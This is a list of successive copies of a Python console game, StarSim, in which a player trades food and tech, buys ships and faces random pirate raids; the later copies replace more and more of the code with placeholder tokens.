[ "'''\nCreated on 17.05.2018\n\n@author: markus\n'''\nimport Ship\nimport Player\nimport Planet\nimport random\nfrom FighterShip import FighterShip\n\nturnCounter = 0\n\ndef cleanScreen():\n for i in range(0,50):\n print(\"\")\n \ndef spacePirates(player):#space prites attack, their firepower is +/-20% of player firepower\n while True:# loop\n cleanScreen()\n print(\"*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****\")\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower*(1+random.randint(-20,20)/100))\n if ((random.randint(0,playerFirepower) > playerFirepower/3) and \n (random.randint(0,piratesFirepower) < piratesFirepower/3) or (playerFirepower == 0)):\n print(\"Damm, you got robbed by the pirates!\")\n print(\"You lost all your cargo and half your money!\")\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits()/2)\n else:\n print(\"Lucky you! Your fighters drove them off!\")\n print(\"**********************************************************\")\n input(\"Hit enter to continue\")\n break\n \n\ndef shipyardMenu(player, planet):\n while True:# loop\n cleanScreen()\n print(\"*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****\")\n player.printStats()\n print(\"**********************************************************\")\n shipList = planet.getShipyard()\n print(\"Available Ships:\")\n print(\"**********************************************************\")\n i = 0\n for s in shipList:\n print(\"Nr.:\"+str(i)+\":\"+s.toString())\n i += 1\n print(\"**********************************************************\") \n userInput = input(\"Enter the number you would like to by or x to leave:\") \n if (userInput == \"x\"):\n break;\n else:\n ui = int(userInput)\n if (ui <= i):\n if(player.getCredits() > shipList[ui].getPrice()): #has enough money\n if(type(shipList[ui]) == FighterShip):\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print(\"wrong number, try again ....\")\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:# loop\n cleanScreen()\n print(\"****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****\")\n print(\"Enter 1 to jump to a agri planet (risk 5%)\")\n print(\"Enter 2 to jump to a tech planet (risk 10%)\")\n print(\"Enter 3 to jump to a war planet (risk 20%)\")\n userInput = input(\"Or enter x to exit:\")\n risk = 0\n if (userInput == \"x\"):\n return planet\n elif (userInput == \"1\"):\n risk = 5\n elif(userInput == \"2\"):\n risk = 10\n else:\n risk = 20 \n if (random.randint(0,100) <= risk):\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1 \n return Planet.Planet(int(userInput))\n \ndef marketMenu(player, planet):\n while True:# loop\n cleanScreen()\n print(\"*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******\")\n player.printStats()\n print(\"**********************************************************\")\n market = planet.getMarket()\n print(\"Price for Food = \",market[\"Food\"])\n print(\"Price for Tech = \",market[\"Tech\"])\n print(\"**********************************************************\")\n userInput = input(\"Enter 1 for Food, 2 for Tech or x for exit:\")\n str =\"\"\n if (userInput == \"1\"):\n str = \"Food\"\n elif(userInput == \"2\"):\n str= \"Tech\"\n else:\n break\n print(\"**********************************************************\")\n max = 0\n if(market[str]*player.freeCargoUnits <= player.getCredits()):#enough credit?\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits()/market[str])\n print(\"Price for \"+str+\" = \",market[str])\n secondInput = input(\"Would you like to buy (enter b) or sell (enter s)?\")\n if (secondInput == \"b\"):#buying\n print(\"You can buy a maximum of\",max,\"units\")\n nr = input(\"How much would you like to buy? Or press x to exit\")\n if (nr == \"x\"):\n pass\n else:\n nr = int(nr)\n if((player.getCredits() > market[str]*nr) and (nr <= max)): #has enough money and space\n if (str == \"Food\"):\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str]*nr)\n player.updateCargoUnits()\n else:#selling\n if (str == \"Food\"):\n print(\"You can sell a maximum of\",player.getFood(),\"food units\")\n nr = input(\"How much would you like to sell? Or press x to exit\")\n if (nr == \"x\"):\n pass\n else:\n nr = int(nr)\n if (nr <= player.getFood()):\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr*market[\"Food\"])\n else:\n print(\"You can sell a maximum of\",player.getTech(),\"tech units\")\n nr = input(\"How much would you like to sell? Or press x to exit\")\n if (nr == \"x\"):\n pass\n else:\n nr = int(nr)\n if (nr <= player.getTech()):\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr*market[\"Tech\"])\n \n \n \n \ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1,3))\n while notFinished:#main game loop \n cleanScreen()\n if (player.getCredits() < 0):\n print(\"Sorry, but you ran out of credits and therefore lost the game in round,\",turnCounter,\"!\")\n break\n print(\"**********************************************************\")\n print(\"Turn nr.\",turnCounter,\"in this glorious space trading simulation\")\n player.printStats()\n print(\"**********************************************************\")\n print(\"You are on Planet:\",planet.getName())\n print(\"**********************************************************\")\n print(\"Enter 1 to go to the shipyard\")\n print(\"Enter 2 to go to the market\")\n print(\"Enter 3 to go to the spaceport\")\n print(\"Enter exit to leave the game\")\n userinput = input(\"Your Input:\")\n if (userinput == \"1\"):\n shipyardMenu(player, planet)\n elif (userinput == \"2\"):\n marketMenu(player, planet)\n elif (userinput == \"3\"):\n planet = spacePortMenu(player, planet)\n else: \n notFinished = False\n \n \n \n\nprint(\"***************************************\")\nprint(\" Welcome to StarSim\")\nprint(\"***************************************\")\nname = input(\"Please enter your Name:\")\nplayer = Player.Player(name)\nmenu(player)\n\n\n\n\n\n", "<docstring token>\nimport Ship\nimport Player\nimport Planet\nimport random\nfrom FighterShip import FighterShip\nturnCounter = 0\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\ndef spacePirates(player):\n while True:\n cleanScreen()\n print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower * (1 + random.randint(-20, \n 20) / 100))\n if random.randint(0, playerFirepower\n ) > playerFirepower / 3 and random.randint(0, piratesFirepower\n ) < piratesFirepower / 3 or playerFirepower == 0:\n print('Damm, you got robbed by the pirates!')\n print('You lost all your cargo and half your money!')\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits() / 2)\n else:\n print('Lucky you! Your fighters drove them off!')\n print('**********************************************************')\n input('Hit enter to continue')\n break\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\nprint('***************************************')\nprint(' Welcome to StarSim')\nprint('***************************************')\nname = input('Please enter your Name:')\nplayer = Player.Player(name)\nmenu(player)\n", "<docstring token>\n<import token>\nturnCounter = 0\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\ndef spacePirates(player):\n while True:\n cleanScreen()\n print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower * (1 + random.randint(-20, \n 20) / 100))\n if random.randint(0, playerFirepower\n ) > playerFirepower / 3 and random.randint(0, piratesFirepower\n ) < piratesFirepower / 3 or playerFirepower == 0:\n print('Damm, you got robbed by the pirates!')\n print('You lost all your cargo and half your money!')\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits() / 2)\n else:\n print('Lucky you! Your fighters drove them off!')\n print('**********************************************************')\n input('Hit enter to continue')\n break\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\nprint('***************************************')\nprint(' Welcome to StarSim')\nprint('***************************************')\nname = input('Please enter your Name:')\nplayer = Player.Player(name)\nmenu(player)\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\ndef spacePirates(player):\n while True:\n cleanScreen()\n print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower * (1 + random.randint(-20, \n 20) / 100))\n if random.randint(0, playerFirepower\n ) > playerFirepower / 3 and random.randint(0, piratesFirepower\n ) < piratesFirepower / 3 or playerFirepower == 0:\n print('Damm, you got robbed by the pirates!')\n print('You lost all your cargo and half your money!')\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits() / 2)\n else:\n print('Lucky you! Your fighters drove them off!')\n print('**********************************************************')\n input('Hit enter to continue')\n break\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\nprint('***************************************')\nprint(' Welcome to StarSim')\nprint('***************************************')\n<assignment token>\nmenu(player)\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\ndef spacePirates(player):\n while True:\n cleanScreen()\n print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower * (1 + random.randint(-20, \n 20) / 100))\n if random.randint(0, playerFirepower\n ) > playerFirepower / 3 and random.randint(0, piratesFirepower\n ) < piratesFirepower / 3 or playerFirepower == 0:\n print('Damm, you got robbed by the pirates!')\n print('You lost all your cargo and half your money!')\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits() / 2)\n else:\n print('Lucky you! Your fighters drove them off!')\n print('**********************************************************')\n input('Hit enter to continue')\n break\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\n<function token>\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function 